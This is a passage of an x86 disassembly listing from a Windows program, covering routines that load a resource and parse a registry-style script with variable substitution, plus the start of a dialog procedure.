		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_401979:				; CODE XREF: sub_4018A0+A5j
		mov	ecx, [ebp+lpType]
		mov	edx, [ebp+lpName]
		push	ecx		; lpType
		push	edx		; lpName
		push	edi		; hModule
		call	ds:FindResourceA	; FindResourceA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_40199E
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jnz	short loc_4019B8


loc_40199A:				; CODE XREF: sub_4018A0+116j
		xor	esi, esi
		jmp	short loc_401A13
; ---------------------------------------------------------------------------


loc_40199E:				; CODE XREF: sub_4018A0+ECj
		push	ebx		; hResInfo
		push	edi		; hModule
		call	ds:LoadResource	; LoadResource
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4019CA
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jz	short loc_40199A


loc_4019B8:				; CODE XREF: sub_4018A0+F8j
		call	esi ; GetLastError
		mov	esi, eax
		and	esi, 0FFFFh
		or	esi, 80070000h
		jmp	short loc_401A13
; ---------------------------------------------------------------------------


loc_4019CA:				; CODE XREF: sub_4018A0+10Aj
		push	ebx		; hResInfo
		push	edi		; hModule
		call	ds:SizeofResource	; SizeofResource
		mov	ebx, eax
		mov	eax, esi
		cmp	byte ptr [ebx+esi], 0
		jz	short loc_401A06
		lea	edi, [ebx+1]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ecx, edi
		mov	eax, esp
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+arg_0]
		mov	byte ptr [eax+ebx], 0


loc_401A06:				; CODE XREF: sub_4018A0+13Aj
		push	0
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_401A30
		mov	esi, eax


loc_401A13:				; CODE XREF: sub_4018A0+FCj
					; sub_4018A0+128j
		push	edi		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		lea	esp, [ebp-14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4018A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401A30	proc near		; CODE XREF: sub_401710+16Fp
					; sub_4018A0+16Cp

arg_0		= byte ptr  4
pv		= dword	ptr  0Ch
String2		= byte ptr  10h
SubKey		= byte ptr  30h
arg_102C	= byte ptr  1030h
lpString	= dword	ptr  1034h
arg_1034	= dword	ptr  1038h

		mov	eax, 1030h
		call	sub_40AF70
		push	ebx
		push	ebp
		mov	ebp, [esp+8+lpString]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, ecx
		push	ebp		; lpString
		mov	[esp+14h], edi
		call	ds:lstrlenA	; lstrlenA
		shl	eax, 1
		push	eax		; cb
		lea	ecx, [esp+14h+arg_0]
		call	sub_401D40
		cmp	[esp+10h+pv], edi
		jnz	short loc_401A81
		push	edi		; pv
		call	ds:CoTaskMemFree
		mov	edi, 8007000Eh
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1030h
		retn	8
; ---------------------------------------------------------------------------


loc_401A81:				; CODE XREF: sub_401A30+34j
		mov	[esi], ebp
		mov	al, [ebp+0]
		test	al, al
		jz	loc_401B33


loc_401A8E:				; CODE XREF: sub_401A30+FDj
		mov	eax, [esi]
		push	eax		; lpsz
		cmp	byte ptr [eax],	25h
		jnz	short loc_401B13
		mov	ebx, ds:CharNextA
		call	ebx ; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		cmp	cl, 25h
		jnz	short loc_401AB3
		push	eax
		lea	ecx, [esp+14h+arg_0]
		call	sub_401D60
		jmp	short loc_401B22
; ---------------------------------------------------------------------------


loc_401AB3:				; CODE XREF: sub_401A30+75j
		push	25h		; char
		push	eax		; lpsz
		call	sub_401F50
		mov	ebp, eax
		add	esp, 8
		test	ebp, ebp
		jz	loc_401C05
		mov	ecx, [esi]
		sub	eax, ecx
		cmp	eax, 1Fh
		jg	loc_401BFB
		inc	eax
		push	eax		; iMaxLength
		lea	eax, [esp+14h+String2]
		push	ecx		; lpString2
		push	eax		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		lea	ecx, [esp+10h+String2]
		push	ecx		; lpString2
		mov	ecx, [esi+4]
		call	sub_401E70
		test	eax, eax
		jz	loc_401C05
		push	eax		; lpWideCharStr
		lea	ecx, [esp+14h+arg_0]
		call	sub_401DC0
		cmp	[esi], ebp
		jz	short loc_401B22


loc_401B06:				; CODE XREF: sub_401A30+DFj
		mov	edx, [esi]
		push	edx		; lpsz
		call	ebx ; CharNextA
		cmp	eax, ebp
		mov	[esi], eax
		jnz	short loc_401B06
		jmp	short loc_401B22
; ---------------------------------------------------------------------------


loc_401B13:				; CODE XREF: sub_401A30+64j
		lea	ecx, [esp+14h+arg_0]
		call	sub_401D60
		mov	ebx, ds:CharNextA


loc_401B22:				; CODE XREF: sub_401A30+81j
					; sub_401A30+D4j ...
		mov	eax, [esi]
		push	eax		; lpsz
		call	ebx ; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_401A8E


loc_401B33:				; CODE XREF: sub_401A30+58j
		mov	ebx, ds:CharNextA


loc_401B39:				; CODE XREF: sub_401A30+1D0j
					; sub_401A30+1DAj
		mov	ecx, [esi]
		push	ecx
		lea	ecx, [esp+14h+arg_0]
		call	sub_401D60
		test	edi, edi
		jl	short loc_401B59
		mov	eax, [esp+10h+pv]
		mov	[esp+10h+pv], 0
		mov	[esp+10h], eax


loc_401B59:				; CODE XREF: sub_401A30+117j
		mov	edx, [esp+10h+pv]
		push	edx		; pv
		call	ds:CoTaskMemFree
		test	edi, edi
		jl	loc_401D07
		mov	eax, [esp+10h]
		mov	[esi], eax
		cmp	byte ptr [eax],	0
		jz	loc_401CFC


loc_401B7B:				; CODE XREF: sub_401A30+2ADj
		mov	ecx, esi
		lea	edi, [esp+10h+SubKey]
		call	sub_401FD0
		mov	ecx, [esi]
		mov	al, [ecx]
		test	al, al
		jz	loc_401CE2
		cmp	al, 27h
		jnz	short loc_401C0F
		push	ecx		; lpsz
		call	ebx ; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_401BE6


loc_401BA1:				; CODE XREF: sub_401A30+1B4j
		mov	ecx, esi
		call	sub_401D20
		test	eax, eax
		jnz	short loc_401BE6
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_401BB8
		push	eax		; lpsz
		call	ebx ; CharNextA
		mov	[esi], eax


loc_401BB8:				; CODE XREF: sub_401A30+181j
		mov	ebp, [esi]
		push	ebp		; lpsz
		call	ebx ; CharNextA
		lea	ecx, [edi+2]
		lea	edx, [esp+10h+arg_102C]
		cmp	ecx, edx
		mov	[esi], eax
		jnb	loc_401CE2
		cmp	ebp, eax
		jnb	short loc_401BE1
		mov	ecx, ebp


loc_401BD7:				; CODE XREF: sub_401A30+1AFj
		mov	dl, [ecx]
		inc	ecx
		mov	[edi], dl
		inc	edi
		cmp	ecx, eax
		jb	short loc_401BD7


loc_401BE1:				; CODE XREF: sub_401A30+1A3j
		cmp	byte ptr [eax],	0
		jnz	short loc_401BA1


loc_401BE6:				; CODE XREF: sub_401A30+16Fj
					; sub_401A30+17Aj
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	loc_401CE2
		push	eax		; lpsz
		mov	byte ptr [edi],	0
		call	ebx ; CharNextA
		mov	[esi], eax
		jmp	short loc_401C3B
; ---------------------------------------------------------------------------


loc_401BFB:				; CODE XREF: sub_401A30+9Fj
		mov	edi, 80004005h
		jmp	loc_401B39
; ---------------------------------------------------------------------------


loc_401C05:				; CODE XREF: sub_401A30+92j
					; sub_401A30+C2j
		mov	edi, 80020009h
		jmp	loc_401B39
; ---------------------------------------------------------------------------


loc_401C0F:				; CODE XREF: sub_401A30+164j
					; sub_401A30+206j
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_401C38
		mov	ebp, [esi]
		push	ebp		; lpsz
		call	ebx ; CharNextA
		cmp	ebp, eax
		mov	[esi], eax
		jnb	short loc_401C32
		mov	ecx, ebp


loc_401C28:				; CODE XREF: sub_401A30+200j
		mov	dl, [ecx]
		inc	ecx
		mov	[edi], dl
		inc	edi
		cmp	ecx, eax
		jb	short loc_401C28


loc_401C32:				; CODE XREF: sub_401A30+1F4j
		mov	al, [eax]
		test	al, al
		jnz	short loc_401C0F


loc_401C38:				; CODE XREF: sub_401A30+1E9j
		mov	byte ptr [edi],	0


loc_401C3B:				; CODE XREF: sub_401A30+1C9j
		lea	eax, [esp+10h+SubKey]
		push	eax		; lpString1
		call	sub_401F10
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	loc_401CE2
		lea	ecx, [esp+10h+SubKey]
		push	ecx
		mov	ecx, esi
		call	sub_402020
		mov	edi, eax
		test	edi, edi
		jl	loc_401CFC
		cmp	[esp+10h+SubKey], 7Bh
		jnz	short loc_401CE2
		mov	eax, [esp+10h+arg_1034]
		test	eax, eax
		jz	short loc_401C9A
		mov	ebx, [esi]
		push	0		; int
		push	eax		; int
		lea	edx, [esp+18h+SubKey]
		push	ebp		; int
		push	edx		; lpSubKey
		mov	ecx, esi
		call	sub_402370
		mov	edi, eax
		test	edi, edi
		jl	short loc_401CE9
		mov	ebx, ds:CharNextA
		jmp	short loc_401CB1
; ---------------------------------------------------------------------------


loc_401C9A:				; CODE XREF: sub_401A30+248j
		push	0		; int
		push	0		; int
		lea	eax, [esp+18h+SubKey]
		push	ebp		; int
		push	eax		; lpSubKey
		mov	ecx, esi
		call	sub_402370
		mov	edi, eax
		test	edi, edi
		jl	short loc_401CFC


loc_401CB1:				; CODE XREF: sub_401A30+268j
		mov	ecx, [esi]
		mov	dl, [ecx]
		mov	ecx, esi
		push	edx
		call	sub_401F80
		test	eax, eax
		jz	short loc_401CD6


loc_401CC1:				; CODE XREF: sub_401A30+2A4j
		mov	eax, [esi]
		push	eax		; lpsz
		call	ebx ; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		push	ecx
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_401CC1


loc_401CD6:				; CODE XREF: sub_401A30+28Fj
		mov	edx, [esi]
		cmp	byte ptr [edx],	0
		jz	short loc_401CFC
		jmp	loc_401B7B
; ---------------------------------------------------------------------------


loc_401CE2:				; CODE XREF: sub_401A30+15Cj
					; sub_401A30+19Bj ...
		mov	edi, 80020009h
		jmp	short loc_401CFC
; ---------------------------------------------------------------------------


loc_401CE9:				; CODE XREF: sub_401A30+260j
		push	0		; int
		push	0		; int
		lea	eax, [esp+18h+SubKey]
		push	ebp		; int
		push	eax		; lpSubKey
		mov	ecx, esi
		mov	[esi], ebx
		call	sub_402370


loc_401CFC:				; CODE XREF: sub_401A30+145j
					; sub_401A30+232j ...
		mov	ecx, [esp+10h]
		push	ecx		; pv
		call	ds:CoTaskMemFree


loc_401D07:				; CODE XREF: sub_401A30+136j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1030h
		retn	8
sub_401A30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401D20	proc near		; CODE XREF: sub_401A30+173p
					; sub_402370+50p ...
		mov	eax, [ecx]
		cmp	byte ptr [eax],	27h
		jnz	short loc_401D39
		push	eax		; lpsz
		call	ds:CharNextA	; CharNextA
		cmp	byte ptr [eax],	27h
		jz	short loc_401D39
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_401D39:				; CODE XREF: sub_401D20+5j
					; sub_401D20+11j
		xor	eax, eax
		retn
sub_401D20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_401D40(SIZE_T cb)

sub_401D40	proc near		; CODE XREF: sub_401A30+2Bp

cb		= dword	ptr  4

		mov	eax, [esp+cb]
		push	esi
		mov	esi, ecx
		push	eax		; cb
		mov	dword ptr [esi], 0
		mov	[esi+4], eax
		call	ds:CoTaskMemAlloc
		mov	[esi+8], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_401D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D60	proc near		; CODE XREF: sub_401A30+7Cp
					; sub_401A30+E7p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		mov	ecx, [esi]
		cmp	ecx, eax
		jnz	short loc_401D80
		add	eax, eax
		mov	[esi+4], eax
		push	eax		; cb
		mov	eax, [esi+8]
		push	eax		; pv
		call	ds:CoTaskMemRealloc
		mov	[esi+8], eax


loc_401D80:				; CODE XREF: sub_401D60+Bj
		mov	edi, [esp+8+arg_0]
		mov	ecx, [esi+8]
		mov	edx, [esi]
		mov	al, [edi]
		mov	[ecx+edx], al
		mov	eax, [esi]
		inc	eax
		mov	[esi], eax
		mov	cl, [edi]
		push	ecx		; TestChar
		call	ds:IsDBCSLeadByte	; IsDBCSLeadByte
		test	eax, eax
		jz	short loc_401DB0
		mov	edx, [esi+8]
		mov	eax, [esi]
		mov	cl, [edi+1]
		mov	[edx+eax], cl
		mov	eax, [esi]
		inc	eax
		mov	[esi], eax


loc_401DB0:				; CODE XREF: sub_401D60+3Ej
		pop	edi
		mov	eax, 1
		pop	esi
		retn	4
sub_401D60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_401DC0(LPCWSTR lpWideCharStr)

sub_401DC0	proc near		; CODE XREF: sub_401A30+CDp

lpWideCharStr	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+lpWideCharStr]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		mov	esi, ecx
		jnz	short loc_401DD3
		xor	edi, edi
		jmp	short loc_401E05
; ---------------------------------------------------------------------------


loc_401DD3:				; CODE XREF: sub_401DC0+Dj
		push	eax		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	ebx, [eax+eax+2]
		mov	eax, ebx
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, [ebp+lpWideCharStr]
		mov	edi, esp
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	ebx		; cbMultiByte
		push	edi		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	eax		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	byte ptr [edi],	0
		call	ds:WideCharToMultiByte	; WideCharToMultiByte


loc_401E05:				; CODE XREF: sub_401DC0+11j
		cmp	byte ptr [edi],	0
		jz	short loc_401E5C
		mov	ebx, ds:CoTaskMemRealloc


loc_401E10:				; CODE XREF: sub_401DC0+9Aj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		cmp	ecx, eax
		jnz	short loc_401E28
		mov	ecx, [esi+8]
		add	eax, eax
		push	eax		; cb
		push	ecx		; pv
		mov	[esi+4], eax
		call	ebx ; CoTaskMemRealloc
		mov	[esi+8], eax


loc_401E28:				; CODE XREF: sub_401DC0+57j
		mov	edx, [esi+8]
		mov	eax, [esi]
		mov	cl, [edi]
		mov	[edx+eax], cl
		mov	ecx, [esi]
		inc	ecx
		mov	[esi], ecx
		mov	dl, [edi]
		push	edx		; TestChar
		call	ds:IsDBCSLeadByte	; IsDBCSLeadByte
		test	eax, eax
		jz	short loc_401E54
		mov	eax, [esi+8]
		mov	ecx, [esi]
		mov	dl, [edi+1]
		mov	[eax+ecx], dl
		mov	eax, [esi]
		inc	eax
		mov	[esi], eax


loc_401E54:				; CODE XREF: sub_401DC0+82j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_401E10


loc_401E5C:				; CODE XREF: sub_401DC0+48j
		lea	esp, [ebp-0Ch]
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_401DC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_401E70(LPCSTR lpString2)

sub_401E70	proc near		; CODE XREF: sub_401A30+BBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpString2	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ecx+4]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp+var_4], ecx
		test	eax, eax
		mov	[ebp+var_8], edi
		jle	short loc_401EE9
		jmp	short loc_401E8D
; ---------------------------------------------------------------------------


loc_401E8A:				; CODE XREF: sub_401E70+77j
		mov	ecx, [ebp+var_4]


loc_401E8D:				; CODE XREF: sub_401E70+18j
		mov	eax, [ecx]
		mov	ecx, [eax+edi*4]
		mov	ebx, [ecx]
		test	ebx, ebx
		jnz	short loc_401E9C
		xor	esi, esi
		jmp	short loc_401ECE
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401E70+26j
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	edi, [eax+eax+2]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	esi, esp
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	edi		; cbMultiByte
		push	esi		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ebx		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	byte ptr [esi],	0
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	edi, [ebp+var_8]


loc_401ECE:				; CODE XREF: sub_401E70+2Aj
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		push	esi		; lpString1
		call	ds:lstrcmpiA	; lstrcmpiA
		test	eax, eax
		jz	short loc_401EF7
		mov	eax, [ebp+var_4]
		inc	edi
		mov	[ebp+var_8], edi
		cmp	edi, [eax+4]
		jl	short loc_401E8A


loc_401EE9:				; CODE XREF: sub_401E70+16j
		xor	eax, eax
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_401EF7:				; CODE XREF: sub_401E70+6Bj
		mov	ecx, [ebp+var_4]
		lea	esp, [ebp-14h]
		mov	edx, [ecx]
		mov	eax, [edx+edi*4]
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [eax+4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_401E70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_401F10(LPCSTR	lpString1)

sub_401F10	proc near		; CODE XREF: sub_401A30+210p

lpString1	= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+lpString1]
		push	ebp
		mov	ebp, ds:lstrcmpiA
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset off_40D6A8


loc_401F25:				; CODE XREF: sub_401F10+29j
		mov	eax, [esi]
		push	eax		; lpString2
		push	ebx		; lpString1
		call	ebp ; lstrcmpiA
		test	eax, eax
		jz	short loc_401F42
		add	esi, 8
		inc	edi
		cmp	esi, offset byte_40D718
		jl	short loc_401F25
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401F42:				; CODE XREF: sub_401F10+1Dj
		mov	eax, ds:dword_40D6AC[edi*8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_401F10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_401F50(LPCSTR	lpsz,char)

sub_401F50	proc near		; CODE XREF: sub_401A30+86p

lpsz		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+lpsz]
		push	ebx
		push	esi
		push	edi
		mov	cl, [eax]
		xor	edi, edi
		test	cl, cl
		jz	short loc_401F76
		mov	bl, [esp+0Ch+arg_4]
		mov	esi, ds:CharNextA


loc_401F69:				; CODE XREF: sub_401F50+24j
		cmp	cl, bl
		jz	short loc_401F78
		push	eax		; lpsz
		call	esi ; CharNextA
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_401F69


loc_401F76:				; CODE XREF: sub_401F50+Dj
		mov	eax, edi


loc_401F78:				; CODE XREF: sub_401F50+1Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401F50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401F80	proc near		; CODE XREF: sub_401A30+1E2p
					; sub_401A30+288p ...

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		add	eax, 0FFFFFFF7h
		cmp	eax, 17h	; switch 24 cases
		ja	short loc_401FA4 ; default
					; jumptable 00401F95 cases 2,3,5-22
		xor	ecx, ecx
		mov	cl, ds:byte_401FB4[eax]
		jmp	ds:off_401FAC[ecx*4] ; switch jump


loc_401F9C:				; DATA XREF: .text:off_401FACo
		mov	eax, 1		; jumptable 00401F95 cases 0,1,4,23
		retn	4
; ---------------------------------------------------------------------------


loc_401FA4:				; CODE XREF: sub_401F80+Bj
					; sub_401F80+15j
					; DATA XREF: ...
		xor	eax, eax	; default
					; jumptable 00401F95 cases 2,3,5-22
		retn	4
sub_401F80	endp

; ---------------------------------------------------------------------------
		align 4
off_401FAC	dd offset loc_401F9C	; DATA XREF: sub_401F80+15r
		dd offset loc_401FA4	; jump table for switch	statement
byte_401FB4	db	0,     0,     1,     1 ; DATA XREF: sub_401F80+Fr
		db	0,     1,     1,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401FD0	proc near		; CODE XREF: sub_401A30+151p
					; sub_402370+2Ap ...
		push	esi
		push	edi
		mov	edi, ds:CharNextA
		mov	esi, ecx


loc_401FDA:				; CODE XREF: sub_401FD0+2Bj
		mov	eax, [esi]
		movsx	ecx, byte ptr [eax]
		add	ecx, 0FFFFFFF7h
		cmp	ecx, 17h	; switch 24 cases
		ja	short loc_401FFD ; default
					; jumptable 00401FEF cases 2,3,5-22
		xor	edx, edx
		mov	dl, ds:byte_402008[ecx]
		jmp	ds:off_402000[edx*4] ; switch jump


loc_401FF6:				; DATA XREF: .text:off_402000o
		push	eax		; jumptable 00401FEF cases 0,1,4,23
		call	edi ; CharNextA
		mov	[esi], eax
		jmp	short loc_401FDA
; ---------------------------------------------------------------------------


loc_401FFD:				; CODE XREF: sub_401FD0+15j
					; sub_401FD0+1Fj
					; DATA XREF: ...
		pop	edi		; default
					; jumptable 00401FEF cases 2,3,5-22
		pop	esi
		retn
sub_401FD0	endp

; ---------------------------------------------------------------------------
off_402000	dd offset loc_401FF6	; DATA XREF: sub_401FD0+1Fr
		dd offset loc_401FFD	; jump table for switch	statement
byte_402008	db	0,     0,     1,     1 ; DATA XREF: sub_401FD0+19r
		db	0,     1,     1,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     0

; =============== S U B	R O U T	I N E =======================================



sub_402020	proc near		; CODE XREF: sub_401A30+229p
					; sub_402370+3E1p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, ds:CharNextA
		push	esi
		push	edi
		mov	esi, ecx


loc_40202C:				; CODE XREF: sub_402020+2Dj
		mov	eax, [esi]
		movsx	ecx, byte ptr [eax]
		add	ecx, 0FFFFFFF7h
		cmp	ecx, 17h	; switch 24 cases
		ja	short loc_40204F ; default
					; jumptable 00402041 cases 2,3,5-22
		xor	edx, edx
		mov	dl, ds:byte_40213C[ecx]
		jmp	ds:off_402134[edx*4] ; switch jump


loc_402048:				; DATA XREF: .text:off_402134o
		push	eax		; jumptable 00402041 cases 0,1,4,23
		call	ebp ; CharNextA
		mov	[esi], eax
		jmp	short loc_40202C
; ---------------------------------------------------------------------------


loc_40204F:				; CODE XREF: sub_402020+17j
					; sub_402020+21j
					; DATA XREF: ...
		mov	edi, [esi]	; default
					; jumptable 00402041 cases 2,3,5-22
		mov	al, [edi]
		test	al, al
		jnz	short loc_402063
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 80020009h
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_402063:				; CODE XREF: sub_402020+35j
		mov	ebx, [esp+10h+arg_0]
		cmp	al, 27h
		jnz	loc_4020F0
		push	edi		; lpsz
		mov	[esp+14h+arg_0], ebx
		call	ebp ; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4020CA


loc_40207E:				; CODE XREF: sub_402020+A8j
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_40208D
		push	eax		; lpsz
		call	ebp ; CharNextA
		cmp	byte ptr [eax],	27h
		jnz	short loc_4020CA


loc_40208D:				; CODE XREF: sub_402020+63j
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_402099
		push	eax		; lpsz
		call	ebp ; CharNextA
		mov	[esi], eax


loc_402099:				; CODE XREF: sub_402020+72j
		mov	edi, [esi]
		push	edi		; lpsz
		call	ebp ; CharNextA
		mov	ecx, [esp+10h+arg_0]
		lea	edx, [ebx+2]
		add	ecx, 1000h
		mov	[esi], eax
		cmp	edx, ecx
		jnb	short loc_4020D1
		cmp	edi, eax
		jnb	short loc_4020C3
		mov	eax, edi


loc_4020B7:				; CODE XREF: sub_402020+A1j
		mov	cl, [eax]
		inc	eax
		mov	[ebx], cl
		mov	ecx, [esi]
		inc	ebx
		cmp	eax, ecx
		jb	short loc_4020B7


loc_4020C3:				; CODE XREF: sub_402020+93j
		mov	edx, [esi]
		cmp	byte ptr [edx],	0
		jnz	short loc_40207E


loc_4020CA:				; CODE XREF: sub_402020+5Cj
					; sub_402020+6Bj
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jnz	short loc_4020DD


loc_4020D1:				; CODE XREF: sub_402020+8Fj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 80020009h
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_4020DD:				; CODE XREF: sub_402020+AFj
		mov	byte ptr [ebx],	0
		mov	ecx, [esi]
		push	ecx		; lpsz
		call	ebp ; CharNextA
		mov	[esi], eax
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_4020F0:				; CODE XREF: sub_402020+49j
					; sub_402020+105j
		movsx	eax, al
		add	eax, 0FFFFFFF7h
		cmp	eax, 17h	; switch 24 cases
		ja	short loc_40210A ; default
					; jumptable 00402103 cases 2,3,5-22
		xor	edx, edx
		mov	dl, ds:byte_40215C[eax]
		jmp	ds:off_402154[edx*4] ; switch jump


loc_40210A:				; CODE XREF: sub_402020+D9j
					; DATA XREF: .text:off_402154o
		push	edi		; default
					; jumptable 00402103 cases 2,3,5-22
		call	ebp ; CharNextA
		cmp	edi, eax
		mov	[esi], eax
		jnb	short loc_40211F


loc_402113:				; CODE XREF: sub_402020+FDj
		mov	al, [edi]
		inc	edi
		mov	[ebx], al
		mov	eax, [esi]
		inc	ebx
		cmp	edi, eax
		jb	short loc_402113


loc_40211F:				; CODE XREF: sub_402020+F1j
		mov	edi, [esi]
		mov	al, [edi]
		test	al, al
		jnz	short loc_4020F0


loc_402127:				; CODE XREF: sub_402020+E3j
					; DATA XREF: .text:off_402154o
		pop	edi		; jumptable 00402103 cases 0,1,4,23
		pop	esi
		mov	byte ptr [ebx],	0
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn	4
sub_402020	endp

; ---------------------------------------------------------------------------
		align 4
off_402134	dd offset loc_402048	; DATA XREF: sub_402020+21r
		dd offset loc_40204F	; jump table for switch	statement
byte_40213C	db	0,     0,     1,     1 ; DATA XREF: sub_402020+1Br
		db	0,     1,     1,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     0
off_402154	dd offset loc_402127	; DATA XREF: sub_402020+E3r
		dd offset loc_40210A	; jump table for switch	statement
byte_40215C	db	0,     0,     1,     1 ; DATA XREF: sub_402020+DDr
		db	0,     1,     1,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402180	proc near		; DATA XREF: .rdata:off_40D698o

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		mov	eax, [esp+arg_14]
		push	esi
		test	eax, eax
		jnz	loc_40235B
		mov	eax, [esp+4+arg_4]
		cmp	eax, 110h
		jnz	short loc_4021D2
		mov	edx, [esp+4+arg_C]
		lea	eax, [esp+4+arg_14]
		push	eax		; int
		mov	eax, [esp+8+arg_8]
		push	edx		; int
		mov	esi, 1
		push	eax		; int
		push	110h		; int
		mov	[esp+14h+arg_14], esi
		call	sub_405C90
		mov	ecx, [esp+4+arg_10]
		mov	[ecx], eax
		mov	eax, [esp+4+arg_14]
		test	eax, eax
		jz	loc_40235B
		mov	eax, esi
		pop	esi
		retn	18h
; ---------------------------------------------------------------------------


loc_4021D2:				; CODE XREF: sub_402180+16j
		cmp	eax, 111h
		jnz	short loc_402217
		mov	eax, [esp+4+arg_8]
		mov	esi, 1
		cmp	ax, si
